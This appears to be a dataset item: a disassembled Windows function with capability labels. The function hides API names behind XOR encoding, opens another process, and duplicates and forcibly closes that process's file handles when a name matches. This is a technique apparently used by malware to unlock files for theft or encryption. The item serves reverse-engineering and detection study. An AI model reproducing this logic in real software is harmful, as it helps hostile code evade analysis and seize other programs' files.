Function at 0x409de0
Capabilities:
Create thread
Encode data using xor
Terminate thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x51e0a3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x100
push esi
push edi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 4], 0
xor ecx, ecx
movaps xmm0, xmmword [0x545810]
movups xmmword [ebp - 0x60], xmm0
mov byte [ebp - 0x50], 0x8f
xorps xmm0, xmm0
mov byte [ebp - 0x47], 0
movq qword [ebp - 0x4f], xmm0
nop
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x60], al
inc ecx
cmp ecx, 0x11
jb 0x409e40
mov dword [0x5585e4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x60]
mov byte [ebp - 0x4f], 0
movups xmmword [ebp - 0xa8], xmm0
mov dword [ebp - 0x98], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x94], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409e80
sub ecx, edx
lea eax, [ebp - 0x60]
push ecx
push eax
lea ecx, [ebp - 0xa8]
call fcn.00402b20
mov byte [ebp - 4], 1
lea esi, [ebp - 0xa8]
cmp dword [ebp - 0x94], 0x10
movaps xmm0, xmmword [0x543ff0]
cmovae esi, dword [ebp - 0xa8]
xor ecx, ecx
mov word [ebp - 0x2e], 0x9885
movups xmmword [ebp - 0x2c], xmm0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 9
jb 0x409ec4
mov dword [0x5585e0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2e]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0x90], xmm0
mov dword [ebp - 0x80], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x7c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409f00
sub ecx, edx
lea eax, [ebp - 0x2e]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00402b20
cmp dword [ebp - 0x7c], 0x10
lea eax, [ebp - 0x90]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmovae eax, dword [ebp - 0x90]
push eax
call edi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x7c]
mov dword [ebp - 0x70], eax
cmp ecx, 0x10
jb 0x409f75
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x409f6b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a504
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 0xf
mov byte [ebp - 0x90], 0
cmp ecx, 0x10
jb 0x409fc8
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x409fbe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a504
push ecx
push edx
call fcn.004f7c11
add esp, 8
movaps xmm0, xmmword [0x5433a0]
xor ecx, ecx
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x94], 0xf
mov byte [ebp - 0xa8], 0
mov dword [ebp - 0x32], 0x9bbc98a5
mov word [ebp - 0x2e], 0x828a
movups xmmword [ebp - 0x2c], xmm0
nop dword [eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x32], al
inc ecx
cmp ecx, 0xd
jb 0x40a000
mov dword [0x55852c], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x32]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x50], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a032
sub ecx, edx
lea eax, [ebp - 0x32]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00402b20
mov byte [ebp - 4], 2
lea esi, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0x10
movaps xmm0, xmmword [0x543ff0]
cmovae esi, dword [ebp - 0x60]
xor ecx, ecx
mov word [ebp - 0x2e], 0x9885
movups xmmword [ebp - 0x2c], xmm0
nop word [eax + eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 9
jb 0x40a070
mov dword [0x5585e0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2e]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0xc0], xmm0
mov dword [ebp - 0xb0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xac], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a0b0
sub ecx, edx
lea eax, [ebp - 0x2e]
push ecx
push eax
lea ecx, [ebp - 0xc0]
call fcn.00402b20
cmp dword [ebp - 0xac], 0x10
lea eax, [ebp - 0xc0]
cmovae eax, dword [ebp - 0xc0]
push eax
call edi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xac]
mov dword [ebp - 0x68], eax
cmp ecx, 0x10
jb 0x40a125
mov edx, dword [ebp - 0xc0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40a11b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a509
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], 0
cmp ecx, 0x10
jb 0x40a178
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40a16e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a509
push ecx
push edx
call fcn.004f7c11
add esp, 8
push dword [ebp - 0x64]
mov dword [ebp - 0x50], 0
push 0
push 0x40
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x1c], esi
test esi, esi
je 0x40a4a1
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x3c], ecx
cmp dword [eax], ecx
jbe 0x40a49e
mov edx, dword [ebp - 0x18]
add eax, 8
mov dword [ebp - 0x74], eax
nop dword [eax]
nop word [eax + eax]
movups xmm1, xmmword [eax]
mov dword [ebp - 0x14], 0
movq xmm0, qword [eax + 0x10]
movups xmmword [ebp - 0x10c], xmm1
mov dword [ebp - 0x38], 0
psrldq xmm1, 4
movd eax, xmm1
movq qword [ebp - 0xfc], xmm0
cmp eax, dword [ebp - 0x64]
jne 0x40a487
push 0
push 0
push 0
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push dword [ebp - 0x104]
push esi
call dword [ebp - 0x70]
test eax, eax
js 0x40a484
lea eax, [ebp - 0x38]
push eax
push 0
push 0
push 2
push dword [ebp - 0x14]
call dword [ebp - 0x68]
test eax, eax
mov eax, dword [ebp - 0x38]
jns 0x40a24f
test eax, eax
jne 0x40a24f
push dword [ebp - 0x14]
call edi
jmp 0x40a484
push eax
call fcn.0050662c
add esp, 4
mov esi, eax
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0x38]
push esi
push 2
push dword [ebp - 0x14]
call dword [ebp - 0x68]
test eax, eax
js 0x40a47c
cmp word [esi], 0
jbe 0x40a481
push str.File
push dword [esi + 4]
call fcn.004f8ff0
add esp, 8
test eax, eax
je 0x40a481
movaps xmm0, xmmword [0x545d00]
xor ecx, ecx
movups xmmword [ebp - 0xde], xmm0
mov dword [ebp - 0xce], 0x9f988e93
xorps xmm0, xmm0
mov byte [ebp - 0xca], 0x9b
movq qword [ebp - 0xc9], xmm0
mov byte [ebp - 0xc1], 0
nop word [eax + eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0xde], al
inc ecx
cmp ecx, 0x15
jb 0x40a2d0
mov dword [0x55855c], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xde]
mov byte [ebp - 0xc9], 0
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x24], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x20], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40a310
sub ecx, edx
lea eax, [ebp - 0xde]
push ecx
push eax
lea ecx, [ebp - 0x34]
call fcn.00402b20
cmp dword [ebp - 0x20], 0x10
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
push eax
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x6c], eax
cmp ecx, 0x10
jb 0x40a37b
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40a36e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a504
push ecx
push edx
call fcn.004f7c11
mov eax, dword [ebp - 0x6c]
add esp, 8
push eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [ebp - 0x14]
push 0
push 0
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
push 0x409af0
push 0
push 0
mov dword [ebp - 0x40], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x64
push dword [ebp - 0x6c]
mov dword [ebp - 0x78], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x40a4c9
mov eax, dword [ebp - 0x40]
test eax, eax
je 0x40a4c9
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0xe8], ecx
mov dword [ebp - 0xe4], eax
test cx, cx
je 0x40a468
push 1
lea eax, [ebp - 0xe8]
push eax
lea eax, [ebp - 0xf0]
push eax
call dword [sym.imp.ntdll.dll_RtlUnicodeStringToAnsiString]
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
cmovae eax, dword [ebx + 8]
push eax
push dword [ebp - 0xec]
call fcn.004f9260
add esp, 8
test eax, eax
je 0x40a468
push esi
call fcn.00505ed6
add esp, 4
push dword [ebp - 0x40]
call fcn.00505ed6
add esp, 4
push dword [ebp - 0x14]
call edi
push 1
push 0
push 0
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, dword [ebp - 0x1c]
push eax
push dword [ebp - 0x104]
push esi
call dword [ebp - 0x70]
test eax, eax
js 0x40a484
push dword [ebp - 0x14]
call edi
jmp 0x40a484
push esi
call fcn.00505ed6
add esp, 4
push dword [ebp - 0x40]
call fcn.00505ed6
add esp, 4
push dword [ebp - 0x14]
call edi
mov esi, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
inc dword [ebp - 0x3c]
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x3c]
add eax, 0x1c
mov dword [ebp - 0x74], eax
cmp ecx, dword [edx]
jb 0x40a1d0
push esi
call edi
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0x10
jb 0x40a4f1
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40a4e7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a50e
jmp 0x40a4e7
push 0
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call fcn.00505ed6
mov eax, dword [ebp - 0x40]
add esp, 4
test eax, eax
je 0x40a47c
push eax
jmp 0x40a474
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
int3